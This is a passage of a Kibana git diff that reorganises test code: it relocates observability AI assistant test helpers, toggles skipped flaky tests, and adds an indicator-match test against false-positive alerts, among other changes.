username); + const servers = testConfig.get('servers'); + const kibanaServer = servers.kibana as UrlObject; + const services = testConfig.get('services') as InheritedServices; + const apmSynthtraceKibanaClient = services.apmSynthtraceKibanaClient(); + const allConfigs = testConfig.getAll() as Record; - return merge( - { - services: testConfig.get('services') as InheritedServices, - }, - baseConfig, - { - testFiles: [require.resolve('../tests')], - services: { - observabilityAIAssistantUI: (context: InheritedFtrProviderContext) => - ObservabilityAIAssistantUIProvider(context), - observabilityAIAssistantApi: async () => { - return { - admin: getScopedApiClient(kibanaServer, 'elastic'), - viewer: getScopedApiClient(kibanaServer, viewer.username), - editor: getScopedApiClient(kibanaServer, editor.username), - secondaryEditor: getScopedApiClient(kibanaServer, secondaryEditor.username), - }; - }, - kibana_ebt_server: KibanaEBTServerProvider, - kibana_ebt_ui: KibanaEBTUIProvider, + return { + ...allConfigs, + servers, + testFiles: [require.resolve('../tests')], + services: { + ...services, + getScopedApiClientForUsername: () => getScopedApiClientForUsername, + kibana_ebt_server: KibanaEBTServerProvider, + kibana_ebt_ui: KibanaEBTUIProvider, + apmSynthtraceEsClient: (context: InheritedFtrProviderContext) => + getApmSynthtraceEsClient(context, apmSynthtraceKibanaClient), + observabilityAIAssistantUI: (context: InheritedFtrProviderContext) => + ObservabilityAIAssistantUIProvider(context), + observabilityAIAssistantApi: async () => { + return { + admin: getScopedApiClient(kibanaServer, 'elastic'), + viewer: getScopedApiClient(kibanaServer, viewer.username), + editor: getScopedApiClient(kibanaServer, editor.username), + secondaryEditor: getScopedApiClient(kibanaServer, secondaryEditor.username), + }; }, - } - ); + }, + junit: { + reportName: `Chrome X-Pack Observability AI Assistant Functional Tests (${name})`, + }, + esTestCluster: { + ...testConfig.get('esTestCluster'), + license, + }, + kbnTestServer: { + ...testConfig.get('kbnTestServer'), + serverArgs: [ + ...testConfig.get('kbnTestServer.serverArgs'), + ...(kibanaConfig + ? Object.entries(kibanaConfig).map(([key, value]) => + Array.isArray(value) ? `--${key}=${JSON.stringify(value)}` : `--${key}=${value}` + ) + : []), + ], + }, + }; } export function createTestConfig(config: ObservabilityAIAssistantFtrConfig) { diff --git a/x-pack/test/observability_ai_assistant_functional/common/connectors.ts b/x-pack/test/observability_ai_assistant_functional/common/connectors.ts index fc06a33cd0d72..eff4f0aca57dd 100644 --- a/x-pack/test/observability_ai_assistant_functional/common/connectors.ts +++ b/x-pack/test/observability_ai_assistant_functional/common/connectors.ts @@ -6,7 +6,7 @@ */ import { Agent as SuperTestAgent } from 'supertest'; -import { LlmProxy } from '../../observability_ai_assistant_api_integration/common/create_llm_proxy'; +import { LlmProxy } from '../../api_integration/deployment_agnostic/apis/observability/ai_assistant/utils/create_llm_proxy'; export async function createConnector(proxy: LlmProxy, supertest: SuperTestAgent) { await supertest diff --git a/x-pack/test/observability_ai_assistant_api_integration/common/create_synthtrace_client.ts b/x-pack/test/observability_ai_assistant_functional/common/create_synthtrace_client.ts similarity index 92% rename from x-pack/test/observability_ai_assistant_api_integration/common/create_synthtrace_client.ts rename to x-pack/test/observability_ai_assistant_functional/common/create_synthtrace_client.ts index 5e2497a0342a7..de78cb581e289 100644 --- a/x-pack/test/observability_ai_assistant_api_integration/common/create_synthtrace_client.ts +++ b/x-pack/test/observability_ai_assistant_functional/common/create_synthtrace_client.ts @@ -10,7 +10,7 @@ import { createLogger, LogLevel, } from '@kbn/apm-synthtrace'; -import { InheritedFtrProviderContext } from './ftr_provider_context'; +import { InheritedFtrProviderContext } from '../ftr_provider_context'; export async function getApmSynthtraceEsClient( context: InheritedFtrProviderContext, diff --git a/x-pack/test/observability_ai_assistant_functional/common/ui/index.ts b/x-pack/test/observability_ai_assistant_functional/common/ui/index.ts index eb37742b58f1f..a222d9110c389 100644 --- a/x-pack/test/observability_ai_assistant_functional/common/ui/index.ts +++ b/x-pack/test/observability_ai_assistant_functional/common/ui/index.ts @@ -9,7 +9,7 @@ import type { PathsOf, TypeAsArgs, TypeOf } from '@kbn/typed-react-router-config import { kbnTestConfig } from '@kbn/test'; import type { ObservabilityAIAssistantRoutes } from '@kbn/observability-ai-assistant-app-plugin/public/routes/config'; import qs from 'query-string'; -import { User } from '../../../observability_ai_assistant_api_integration/common/users/users'; +import { User } from '../users/users'; import type { InheritedFtrProviderContext } from '../../ftr_provider_context'; export interface ObservabilityAIAssistantUIService { diff --git a/x-pack/test/observability_ai_assistant_api_integration/common/users/create_users_and_roles.ts b/x-pack/test/observability_ai_assistant_functional/common/users/create_users_and_roles.ts similarity index 92% rename from x-pack/test/observability_ai_assistant_api_integration/common/users/create_users_and_roles.ts rename to x-pack/test/observability_ai_assistant_functional/common/users/create_users_and_roles.ts index 1492fa68114a2..d031134d9d4e1 100644 --- a/x-pack/test/observability_ai_assistant_api_integration/common/users/create_users_and_roles.ts +++ b/x-pack/test/observability_ai_assistant_functional/common/users/create_users_and_roles.ts @@ -5,7 +5,7 @@ * 2.0. */ -import { InheritedFtrProviderContext } from '../ftr_provider_context'; +import { InheritedFtrProviderContext } from '../../ftr_provider_context'; import { allUsers } from './users'; import { allRoles } from './roles'; diff --git a/x-pack/test/observability_ai_assistant_api_integration/common/users/roles.ts b/x-pack/test/observability_ai_assistant_functional/common/users/roles.ts similarity index 100% rename from x-pack/test/observability_ai_assistant_api_integration/common/users/roles.ts rename to x-pack/test/observability_ai_assistant_functional/common/users/roles.ts diff --git a/x-pack/test/observability_ai_assistant_api_integration/common/users/users.ts b/x-pack/test/observability_ai_assistant_functional/common/users/users.ts similarity index 68% rename from x-pack/test/observability_ai_assistant_api_integration/common/users/users.ts rename to x-pack/test/observability_ai_assistant_functional/common/users/users.ts index 2dc5a433517f3..82a89d9d8230a 100644 --- a/x-pack/test/observability_ai_assistant_api_integration/common/users/users.ts +++ b/x-pack/test/observability_ai_assistant_functional/common/users/users.ts @@ -9,11 +9,8 @@ import { kbnTestConfig } from '@kbn/test'; const password = kbnTestConfig.getUrlParts().password!; -export const UNAUTHORIZED_USERNAME = 'unauthorized_user'; -export const UNAUTHORIZED_USER_PASSWORD = 'unauthorized_password'; - export interface User { - username: 'elastic' | 'editor' | 'viewer' | 'secondary_editor' | 'unauthorized_user'; + username: 'elastic' | 'editor' | 'viewer' | 'secondary_editor'; password: string; roles: string[]; } @@ -36,10 +33,4 @@ export const viewer: User = { roles: ['viewer'], }; -export const unauthorizedUser: User = { - username: UNAUTHORIZED_USERNAME, - password: UNAUTHORIZED_USER_PASSWORD, - roles: [], -}; - -export const allUsers = [editor, secondaryEditor, viewer, unauthorizedUser]; +export const allUsers = [editor, secondaryEditor, viewer]; diff --git a/x-pack/test/observability_ai_assistant_functional/configs/index.ts b/x-pack/test/observability_ai_assistant_functional/configs/index.ts index 22096dff2a47e..4c9566ab6ba42 100644 --- a/x-pack/test/observability_ai_assistant_functional/configs/index.ts +++ b/x-pack/test/observability_ai_assistant_functional/configs/index.ts @@ -9,7 +9,7 @@ import { mapValues } from 'lodash'; import { ObservabilityAIAssistantFtrConfigName, observabilityAIAssistantFtrConfigs, -} from '../../observability_ai_assistant_api_integration/configs'; +} from '../common/config'; import { createTestConfig, CreateTestConfig } from '../common/config'; export const configs: Record = mapValues( diff --git a/x-pack/test/observability_ai_assistant_functional/tests/contextual_insights/index.spec.ts b/x-pack/test/observability_ai_assistant_functional/tests/contextual_insights/index.spec.ts index d0e01f2f90d27..7b59cab352742 100644 --- a/x-pack/test/observability_ai_assistant_functional/tests/contextual_insights/index.spec.ts +++ b/x-pack/test/observability_ai_assistant_functional/tests/contextual_insights/index.spec.ts @@ -11,7 +11,7 @@ import moment from 'moment'; import { createLlmProxy, LlmProxy, -} from '../../../observability_ai_assistant_api_integration/common/create_llm_proxy'; +} from '../../../api_integration/deployment_agnostic/apis/observability/ai_assistant/utils/create_llm_proxy'; import { FtrProviderContext } from '../../ftr_provider_context'; import { deleteConnectors, createConnector } from '../../common/connectors'; diff --git a/x-pack/test/observability_ai_assistant_functional/tests/conversations/archiving.spec.ts b/x-pack/test/observability_ai_assistant_functional/tests/conversations/archiving.spec.ts index 5be4b085fe9f2..a18dc8074fd79 100644 --- a/x-pack/test/observability_ai_assistant_functional/tests/conversations/archiving.spec.ts +++ b/x-pack/test/observability_ai_assistant_functional/tests/conversations/archiving.spec.ts @@ -9,7 +9,7 @@ import expect from '@kbn/expect'; import { createLlmProxy, LlmProxy, -} from '../../../observability_ai_assistant_api_integration/common/create_llm_proxy'; +} from '../../../api_integration/deployment_agnostic/apis/observability/ai_assistant/utils/create_llm_proxy'; import { FtrProviderContext } from '../../ftr_provider_context'; import { createConnector, deleteConnectors } from '../../common/connectors'; import { deleteConversations } from '../../common/conversations'; diff --git a/x-pack/test/observability_ai_assistant_functional/tests/conversations/index.spec.ts b/x-pack/test/observability_ai_assistant_functional/tests/conversations/index.spec.ts index 89b47023fee06..3b652f18f7336 100644 --- a/x-pack/test/observability_ai_assistant_functional/tests/conversations/index.spec.ts +++ b/x-pack/test/observability_ai_assistant_functional/tests/conversations/index.spec.ts @@ -15,10 +15,10 @@ import { systemMessageSorted } from '../../../api_integration/deployment_agnosti import { createLlmProxy, LlmProxy, -} from '../../../observability_ai_assistant_api_integration/common/create_llm_proxy'; +} from '../../../api_integration/deployment_agnostic/apis/observability/ai_assistant/utils/create_llm_proxy'; import { FtrProviderContext } from '../../ftr_provider_context'; -import { editor } from '../../../observability_ai_assistant_api_integration/common/users/users'; +import { editor } from '../../common/users/users'; import { deleteConnectors } from '../../common/connectors'; import { deleteConversations } from '../../common/conversations'; diff --git a/x-pack/test/observability_ai_assistant_functional/tests/conversations/sharing.spec.ts b/x-pack/test/observability_ai_assistant_functional/tests/conversations/sharing.spec.ts index ac72fcec28ad1..6c8abf525e0cb 100644 --- a/x-pack/test/observability_ai_assistant_functional/tests/conversations/sharing.spec.ts +++ b/x-pack/test/observability_ai_assistant_functional/tests/conversations/sharing.spec.ts @@ -9,7 +9,7 @@ import expect from '@kbn/expect'; import { createLlmProxy, LlmProxy, -} from '../../../observability_ai_assistant_api_integration/common/create_llm_proxy'; +} from '../../../api_integration/deployment_agnostic/apis/observability/ai_assistant/utils/create_llm_proxy'; import { FtrProviderContext } from '../../ftr_provider_context'; import { createConnector, deleteConnectors } from '../../common/connectors'; import { deleteConversations } from '../../common/conversations'; diff --git a/x-pack/test/observability_ai_assistant_functional/tests/feature_controls/assistant_security.spec.ts b/x-pack/test/observability_ai_assistant_functional/tests/feature_controls/assistant_security.spec.ts index 117a9f11b316e..60c4c369879ba 100644 --- a/x-pack/test/observability_ai_assistant_functional/tests/feature_controls/assistant_security.spec.ts +++ b/x-pack/test/observability_ai_assistant_functional/tests/feature_controls/assistant_security.spec.ts @@ -10,7 +10,7 @@ import { FtrProviderContext } from '../../ftr_provider_context'; import { createLlmProxy, LlmProxy, -} from '../../../observability_ai_assistant_api_integration/common/create_llm_proxy'; +} from '../../../api_integration/deployment_agnostic/apis/observability/ai_assistant/utils/create_llm_proxy'; import { createConnector, deleteConnectors } from '../../common/connectors'; import { createAndLoginUserWithCustomRole, deleteAndLogoutUser } from './helpers'; diff --git a/x-pack/test/observability_ai_assistant_functional/tests/index.ts b/x-pack/test/observability_ai_assistant_functional/tests/index.ts index 07e81d9488592..76f7a98a07aa2 100644 --- a/x-pack/test/observability_ai_assistant_functional/tests/index.ts +++ b/x-pack/test/observability_ai_assistant_functional/tests/index.ts @@ -7,8 +7,8 @@ import globby from 'globby'; import path from 'path'; -import { createUsersAndRoles } from '../../observability_ai_assistant_api_integration/common/users/create_users_and_roles'; -import { FtrProviderContext } from '../../observability_ai_assistant_api_integration/common/ftr_provider_context'; +import { createUsersAndRoles } from '../common/users/create_users_and_roles'; +import { FtrProviderContext } from '../../common/ftr_provider_context'; const cwd = path.join(__dirname); diff --git a/x-pack/test/observability_ai_assistant_functional/tests/knowledge_base/index.spec.ts b/x-pack/test/observability_ai_assistant_functional/tests/knowledge_base/index.spec.ts index 7675e710eb690..4ec26fdcb46d2 100644 --- a/x-pack/test/observability_ai_assistant_functional/tests/knowledge_base/index.spec.ts +++ b/x-pack/test/observability_ai_assistant_functional/tests/knowledge_base/index.spec.ts @@ -10,7 +10,7 @@ import { KnowledgeBaseState } from '@kbn/observability-ai-assistant-plugin/commo import { LlmProxy, createLlmProxy, -} from '../../../observability_ai_assistant_api_integration/common/create_llm_proxy'; +} from '../../../api_integration/deployment_agnostic/apis/observability/ai_assistant/utils/create_llm_proxy'; import { FtrProviderContext } from '../../ftr_provider_context'; import { deployTinyElserAndSetupKb, diff --git a/x-pack/test/observability_ai_assistant_functional/tests/knowledge_base_management/index.spec.ts b/x-pack/test/observability_ai_assistant_functional/tests/knowledge_base_management/index.spec.ts index 0abd47f06f705..8e51217c4a3c8 100644 --- a/x-pack/test/observability_ai_assistant_functional/tests/knowledge_base_management/index.spec.ts +++ b/x-pack/test/observability_ai_assistant_functional/tests/knowledge_base_management/index.spec.ts @@ -15,7 +15,7 @@ import { teardownTinyElserModelAndInferenceEndpoint, } from '../../../api_integration/deployment_agnostic/apis/observability/ai_assistant/utils/model_and_inference'; import { clearKnowledgeBase } from '../../../api_integration/deployment_agnostic/apis/observability/ai_assistant/utils/knowledge_base'; -import { ObservabilityAIAssistantApiClient } from '../../../observability_ai_assistant_api_integration/common/observability_ai_assistant_api_client'; +import { ObservabilityAIAssistantApiClient } from '../../../api_integration/deployment_agnostic/apis/observability/ai_assistant/utils/observability_ai_assistant_api_client'; import { FtrProviderContext } from '../../ftr_provider_context'; export default function ApiTest({ getService, getPageObjects }: FtrProviderContext) { diff --git a/x-pack/test/observability_ai_assistant_functional/tests/settings/change_knowledge_base_model.spec.ts b/x-pack/test/observability_ai_assistant_functional/tests/settings/change_knowledge_base_model.spec.ts index ee640f0a01017..12173f7c51727 100644 --- a/x-pack/test/observability_ai_assistant_functional/tests/settings/change_knowledge_base_model.spec.ts +++ b/x-pack/test/observability_ai_assistant_functional/tests/settings/change_knowledge_base_model.spec.ts @@ -12,7 +12,7 @@ import { createConnector, deleteConnectors } from '../../common/connectors'; import { LlmProxy, createLlmProxy, -} from '../../../observability_ai_assistant_api_integration/common/create_llm_proxy'; +} from '../../../api_integration/deployment_agnostic/apis/observability/ai_assistant/utils/create_llm_proxy'; import { deployTinyElserAndSetupKb, stopTinyElserModel, diff --git a/x-pack/test/observability_functional/apps/observability/feature_controls/observability_security.ts b/x-pack/test/observability_functional/apps/observability/feature_controls/observability_security.ts index 3d15d77cc471d..f761476784a25 100644 --- a/x-pack/test/observability_functional/apps/observability/feature_controls/observability_security.ts +++ b/x-pack/test/observability_functional/apps/observability/feature_controls/observability_security.ts @@ -36,9 +36,7 @@ export default function ({ getPageObjects, getService }: FtrProviderContext) { await kibanaServer.uiSettings.update(config.get('uiSettings.defaults')); }); - // FLAKY: https://github.com/elastic/kibana/issues/155090 - // FLAKY: https://github.com/elastic/kibana/issues/155091 - describe.skip('observability cases all privileges', () => { + describe('observability cases all privileges', () => { before(async () => { await esArchiver.load('x-pack/test/functional/es_archives/infra/metrics_and_logs'); await observability.users.setTestUserRole( diff --git a/x-pack/test/observability_functional/apps/observability/pages/alerts/index.ts b/x-pack/test/observability_functional/apps/observability/pages/alerts/index.ts index 9f43b0461d442..6b257ceb4bc4a 100644 --- a/x-pack/test/observability_functional/apps/observability/pages/alerts/index.ts +++ b/x-pack/test/observability_functional/apps/observability/pages/alerts/index.ts @@ -76,9 +76,7 @@ export default ({ getService, getPageObjects }: FtrProviderContext) => { }, }; - // Failing: See https://github.com/elastic/kibana/issues/217739 - // Failing: See https://github.com/elastic/kibana/issues/217739 - describe.skip('Observability alerts >', function () { + describe('Observability alerts >', function () { this.tags('includeFirefox'); const testSubjects = getService('testSubjects'); const retry = getService('retry'); @@ -158,7 +156,8 @@ export default ({ getService, getPageObjects }: FtrProviderContext) => { await observability.alerts.common.submitQuery(''); }); - it('Autocompletion works', async () => { + // FLAKY: https://github.com/elastic/kibana/issues/217739 + it.skip('Autocompletion works', async () => { await browser.refresh(); await observability.alerts.common.typeInQueryBar('kibana.alert.s'); await observability.alerts.common.clickOnQueryBar(); @@ -231,7 +230,7 @@ export default ({ getService, getPageObjects }: FtrProviderContext) => { const titleText = await ( await observability.alerts.common.getAlertsFlyoutTitle() ).getVisibleText(); - expect(titleText).to.contain('APM Failed Transaction Rate (one)'); + expect(titleText).to.contain('Failed transaction rate threshold breached'); }); }); diff --git a/x-pack/test/plugin_functional/test_suites/global_search/global_search_providers.ts b/x-pack/test/plugin_functional/test_suites/global_search/global_search_providers.ts index 2f197d0a8162c..543a72a29ed88 100644 --- a/x-pack/test/plugin_functional/test_suites/global_search/global_search_providers.ts +++ b/x-pack/test/plugin_functional/test_suites/global_search/global_search_providers.ts @@ -6,6 +6,7 @@ */ import expect from '@kbn/expect'; +import '@kbn/core-provider-plugin/types'; import { GlobalSearchResult } from '@kbn/global-search-plugin/common/types'; import { GlobalSearchTestApi } from '@kbn/global-search-test-plugin/public/types'; import { FtrProviderContext } from '../../ftr_provider_context'; diff --git a/x-pack/test/security_solution_api_integration/test_suites/detections_response/detection_engine/actions/trial_license_complete_tier/check_privileges.ts b/x-pack/test/security_solution_api_integration/test_suites/detections_response/detection_engine/actions/trial_license_complete_tier/check_privileges.ts index a2285042bb8c7..60c3e7fd7b9b8 100644 --- a/x-pack/test/security_solution_api_integration/test_suites/detections_response/detection_engine/actions/trial_license_complete_tier/check_privileges.ts +++ b/x-pack/test/security_solution_api_integration/test_suites/detections_response/detection_engine/actions/trial_license_complete_tier/check_privileges.ts @@ -85,7 +85,10 @@ export default ({ getService }: FtrProviderContext) => { // TODO: https://github.com/elastic/kibana/pull/121644 clean up, make type-safe expect(body?.execution_summary?.last_execution.message).to.contain( - `This rule's API key is unable to access all indices that match the ["${index[0]}"] pattern. To learn how to update and manage API keys, refer to https://www.elastic.co/guide/en/kibana/current/alerting-setup.html#alerting-authorization.` + `This rule's API key is unable to access all indices that match the ["${index[0]}"] pattern. To learn how to update and manage API keys, refer to https://www.elastic.co/guide/en/kibana/` + ); + expect(body?.execution_summary?.last_execution.message).to.contain( + '/alerting-setup.html#alerting-authorization.' ); await deleteUserAndRole(getService, ROLES.detections_admin); @@ -165,8 +168,11 @@ export default ({ getService }: FtrProviderContext) => { .expect(200); // TODO: https://github.com/elastic/kibana/pull/121644 clean up, make type-safe - expect(body?.execution_summary?.last_execution.message).to.eql( - `This rule's API key is unable to access all indices that match the ["${index[0]}"] pattern. To learn how to update and manage API keys, refer to https://www.elastic.co/guide/en/kibana/current/alerting-setup.html#alerting-authorization.` + expect(body?.execution_summary?.last_execution.message).to.contain( + `This rule's API key is unable to access all indices that match the ["${index[0]}"] pattern. To learn how to update and manage API keys, refer to https://www.elastic.co/guide/en/kibana/` + ); + expect(body?.execution_summary?.last_execution.message).to.contain( + '/alerting-setup.html#alerting-authorization.' ); await deleteUserAndRole(getService, ROLES.detections_admin); diff --git a/x-pack/test/security_solution_api_integration/test_suites/detections_response/detection_engine/rule_execution_logic/eql/trial_license_complete_tier/eql.ts b/x-pack/test/security_solution_api_integration/test_suites/detections_response/detection_engine/rule_execution_logic/eql/trial_license_complete_tier/eql.ts index 85001422299d1..52145721a19f2 100644 --- a/x-pack/test/security_solution_api_integration/test_suites/detections_response/detection_engine/rule_execution_logic/eql/trial_license_complete_tier/eql.ts +++ b/x-pack/test/security_solution_api_integration/test_suites/detections_response/detection_engine/rule_execution_logic/eql/trial_license_complete_tier/eql.ts @@ -82,7 +82,8 @@ export default ({ getService }: FtrProviderContext) => { const auditPath = dataPathBuilder.getPath('auditbeat/hosts'); const packetBeatPath = dataPathBuilder.getPath('packetbeat/default'); - describe('@ess @serverless @serverlessQA EQL type rules', () => { + // FLAKY: https://github.com/elastic/kibana/issues/220943 + describe.skip('@ess @serverless @serverlessQA EQL type rules', () => { const { indexListOfDocuments } = dataGeneratorFactory({ es, index: 'ecs_compliant', diff --git a/x-pack/test/security_solution_api_integration/test_suites/detections_response/detection_engine/rule_execution_logic/esql/trial_license_complete_tier/esql.ts b/x-pack/test/security_solution_api_integration/test_suites/detections_response/detection_engine/rule_execution_logic/esql/trial_license_complete_tier/esql.ts index d1fad1f8ce382..862771a08ab63 100644 --- a/x-pack/test/security_solution_api_integration/test_suites/detections_response/detection_engine/rule_execution_logic/esql/trial_license_complete_tier/esql.ts +++ b/x-pack/test/security_solution_api_integration/test_suites/detections_response/detection_engine/rule_execution_logic/esql/trial_license_complete_tier/esql.ts @@ -65,8 +65,7 @@ export default ({ getService }: FtrProviderContext) => { */ const internalIdPipe = (id: string) => `| where id=="${id}"`; - // Failing: See https://github.com/elastic/kibana/issues/224699 - describe.skip('@ess @serverless ES|QL rule type', () => { + describe('@ess @serverless ES|QL rule type', () => { before(async () => { await esArchiver.load('x-pack/test/functional/es_archives/security_solution/ecs_compliant'); }); @@ -2190,7 +2189,8 @@ export default ({ getService }: FtrProviderContext) => { }); }); - describe('shard failures', () => { + // Failing: See https://github.com/elastic/kibana/issues/224699 + describe.skip('shard failures', () => { const config = getService('config'); const isServerless = config.get('serverless'); const dataPathBuilder = new EsArchivePathBuilder(isServerless); @@ -2210,6 +2210,7 @@ export default ({ getService }: FtrProviderContext) => { const doc1 = { agent: { name: 'test-1' } }; await indexEnhancedDocuments({ documents: [doc1], + interval: ['2020-10-28T06:00:00.000Z', '2020-10-28T06:10:00.000Z'], id: uuidv4(), }); diff --git a/x-pack/test/security_solution_api_integration/test_suites/detections_response/detection_engine/rule_execution_logic/indicator_match/trial_license_complete_tier/indicator_match.ts b/x-pack/test/security_solution_api_integration/test_suites/detections_response/detection_engine/rule_execution_logic/indicator_match/trial_license_complete_tier/indicator_match.ts index 5b7f79615d635..ca2c7573a009b 100644 --- a/x-pack/test/security_solution_api_integration/test_suites/detections_response/detection_engine/rule_execution_logic/indicator_match/trial_license_complete_tier/indicator_match.ts +++ b/x-pack/test/security_solution_api_integration/test_suites/detections_response/detection_engine/rule_execution_logic/indicator_match/trial_license_complete_tier/indicator_match.ts @@ -1947,5 +1947,104 @@ export default ({ getService }: FtrProviderContext) => { expect(updatedAlerts.hits.hits[0]._source?.[ALERT_SUPPRESSION_DOCS_COUNT]).equal(1); }); }); + + describe('false positive prevention with AND conditions', () => { + const timestamp = new Date().toISOString(); + + beforeEach(async () => { + await esArchiver.load('x-pack/test/functional/es_archives/security_solution/ecs_compliant'); + }); + + afterEach(async () => { + await esArchiver.unload( + 'x-pack/test/functional/es_archives/security_solution/ecs_compliant' + ); + }); + + it('should prevent false positive alerts when event has partial matches in AND conditions', async () => { + const id = uuidv4(); + + // Create events: one that should match completely, one that should not match + await indexListOfDocuments([ + // Event 1: Should match completely (user.name="user1" AND host.name="server") + { + ...eventDoc(uuidv4(), timestamp), + user: { name: 'user1' }, + host: { name: 'server' }, + }, + // Event 2: Should NOT match (user.name="user2" AND host.name="server") + // This would have caused false positive before the fix + { + ...eventDoc(uuidv4(), timestamp), + user: { name: 'user2' }, + host: { name: 'server' }, + }, + ]); + + // Create threat indicators: one that matches Event 1 completely + // we need to create 3 threats to ensure we have more threats than events + await indexListOfDocuments([ + { + ...threatDoc(uuidv4(), timestamp), + user: { name: 'user1' }, + host: { name: 'server' }, + }, + // Additional threats to ensure we have more threats than events + { + ...threatDoc(uuidv4(), timestamp), + user: { name: 'user3' }, + host: { name: 'server' }, + }, + { + ...threatDoc(uuidv4(), timestamp), + user: { name: 'user4' }, + host: { name: 'server' }, + }, + ]); + + const rule: ThreatMatchRuleCreateProps = { + ...threatMatchRuleEcsComplaint(id), + query: '* and NOT agent.type:threat', + threat_query: '* and agent.type:threat', + threat_mapping: [ + { + entries: [ + { + field: 'user.name', + value: 'user.name', + type: 'mapping', + }, + { + field: 'host.name', + value: 'host.name', + type: 'mapping', + }, + ], + }, + ], + }; + + const { previewId, logs } = await previewRule({ + supertest, + rule, + invocationCount: 1, + }); + + const previewAlerts = await getPreviewAlerts({ + es, + previewId, + sort: ['user.name', ALERT_ORIGINAL_TIME], + }); + + // Should only generate 1 alert for the event that matches completely + expect(previewAlerts.length).to.eql(1); + expect(logs[0].errors).to.have.length(0); + + // Verify the alert is for the correct event (user1) + const alert = previewAlerts[0]._source; + expect(alert?.user?.name).to.eql('user1'); + expect(alert?.host?.name).to.eql('server'); + }); + }); }); }; diff --git a/x-pack/test/security_solution_api_integration/test_suites/detections_response/rules_management/prebuilt_rules/common/configs/ess_air_gapped.config.ts b/x-pack/test/security_solution_api_integration/test_suites/detections_response/rules_management/prebuilt_rules/common/configs/edge_cases/ess_air_gapped.config.ts similarity index 74% rename from x-pack/test/security_solution_api_integration/test_suites/detections_response/rules_management/prebuilt_rules/common/configs/ess_air_gapped.config.ts rename to x-pack/test/security_solution_api_integration/test_suites/detections_response/rules_management/prebuilt_rules/common/configs/edge_cases/ess_air_gapped.config.ts index 52346ea21899e..7fe200f57c674 100644 --- a/x-pack/test/security_solution_api_integration/test_suites/detections_response/rules_management/prebuilt_rules/common/configs/ess_air_gapped.config.ts +++ b/x-pack/test/security_solution_api_integration/test_suites/detections_response/rules_management/prebuilt_rules/common/configs/edge_cases/ess_air_gapped.config.ts @@ -10,17 +10,20 @@ import path from 'path'; const SECURITY_DETECTION_ENGINE_PACKAGES_PATH = path.join( path.dirname(__filename), - '../import/fixtures/packages' + '../../fixtures/packages' ); export default async function ({ readConfigFile }: FtrConfigProviderContext) { const functionalConfig = await readConfigFile( - require.resolve('../../../../../../config/ess/config.base.basic') + require.resolve('../../../../../../../config/ess/config.base.basic') ); return { ...functionalConfig.getAll(), - testFiles: [require.resolve('../import/import_with_installing_package')], + testFiles: [ + require.resolve('../../import_export/import_with_installing_package'), + require.resolve('../../prebuilt_rules_package/air_gapped'), + ], kbnTestServer: { ...functionalConfig.get('kbnTestServer'), serverArgs: [ @@ -33,5 +36,9 @@ export default async function ({ readConfigFile }: FtrConfigProviderContext) { `--xpack.fleet.developer.bundledPackageLocation=${SECURITY_DETECTION_ENGINE_PACKAGES_PATH}`, ], }, + junit: { + reportName: + 'Rules Management - Prebuilt Rules (Common) Integration Tests - ESS Basic License (Air Gapped)', + }, }; } diff --git a/x-pack/test/security_solution_api_integration/test_suites/detections_response/rules_management/prebuilt_rules/customization_enabled/prebuilt_rules_package/air_gapped/configs/ess_air_gapped_large_package.config.ts b/x-pack/test/security_solution_api_integration/test_suites/detections_response/rules_management/prebuilt_rules/common/configs/edge_cases/ess_air_gapped_large_package.config.ts similarity index 75% rename from x-pack/test/security_solution_api_integration/test_suites/detections_response/rules_management/prebuilt_rules/customization_enabled/prebuilt_rules_package/air_gapped/configs/ess_air_gapped_large_package.config.ts rename to x-pack/test/security_solution_api_integration/test_suites/detections_response/rules_management/prebuilt_rules/common/configs/edge_cases/ess_air_gapped_large_package.config.ts index 0e30ec5175923..e98e66608a565 100644 --- a/x-pack/test/security_solution_api_integration/test_suites/detections_response/rules_management/prebuilt_rules/customization_enabled/prebuilt_rules_package/air_gapped/configs/ess_air_gapped_large_package.config.ts +++ b/x-pack/test/security_solution_api_integration/test_suites/detections_response/rules_management/prebuilt_rules/common/configs/edge_cases/ess_air_gapped_large_package.config.ts @@ -10,15 +10,19 @@ import path from 'path'; export const BUNDLED_PACKAGE_DIR = path.join( path.dirname(__filename), - './../fixtures/packages/large' + '../../fixtures/packages/large' ); export default async function ({ readConfigFile }: FtrConfigProviderContext) { - const functionalConfig = await readConfigFile(require.resolve('../../../configs/ess.config')); + const functionalConfig = await readConfigFile( + require.resolve('../../../../../../../config/ess/config.base.basic') + ); return { ...functionalConfig.getAll(), - testFiles: [require.resolve('../install_large_bundled_package')], + testFiles: [ + require.resolve('../../prebuilt_rules_package/air_gapped/install_large_bundled_package'), + ], kbnTestServer: { ...functionalConfig.get('kbnTestServer'), serverArgs: [ @@ -33,5 +37,9 @@ export default async function ({ readConfigFile }: FtrConfigProviderContext) { `--xpack.fleet.developer.bundledPackageLocation=${BUNDLED_PACKAGE_DIR}`, ], }, + junit: { + reportName: + 'Rules Management - Prebuilt Rules (Common) Integration Tests - ESS Basic License (Air Gapped, Large Package)', + }, }; } diff --git a/x-pack/test/security_solution_api_integration/test_suites/detections_response/rules_management/prebuilt_rules/common/configs/edge_cases/ess_trial_license.config.ts b/x-pack/test/security_solution_api_integration/test_suites/detections_response/rules_management/prebuilt_rules/common/configs/edge_cases/ess_trial_license.config.ts new file mode 100644 index 0000000000000..fa51b7df5274f --- /dev/null +++ b/x-pack/test/security_solution_api_integration/test_suites/detections_response/rules_management/prebuilt_rules/common/configs/edge_cases/ess_trial_license.config.ts @@ -0,0 +1,25 @@ +/* + * Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one + * or more contributor license agreements. Licensed under the Elastic License + * 2.0; you may not use this file except in compliance with the Elastic License + * 2.0. + */ + +import { FtrConfigProviderContext } from '@kbn/test'; + +export default async function ({ readConfigFile }: FtrConfigProviderContext) { + const functionalConfig = await readConfigFile( + require.resolve('../../../../../../../config/ess/config.base.trial') + ); + + const testConfig = { + ...functionalConfig.getAll(), + testFiles: [require.resolve('../../prebuilt_rules_package/install_package_from_epr')], + junit: { + reportName: + 'Rules Management - Prebuilt Rules (Common) Integration Tests - ESS Trial License', + }, + }; + + return testConfig; +} diff --git a/x-pack/test/security_solution_api_integration/test_suites/detections_response/rules_management/prebuilt_rules/common/configs/ess_basic_license.config.ts b/x-pack/test/security_solution_api_integration/test_suites/detections_response/rules_management/prebuilt_rules/common/configs/ess_basic_license.config.ts index f120009a5e89b..adafbac7b292d 100644 --- a/x-pack/test/security_solution_api_integration/test_suites/detections_response/rules_management/prebuilt_rules/common/configs/ess_basic_license.config.ts +++ 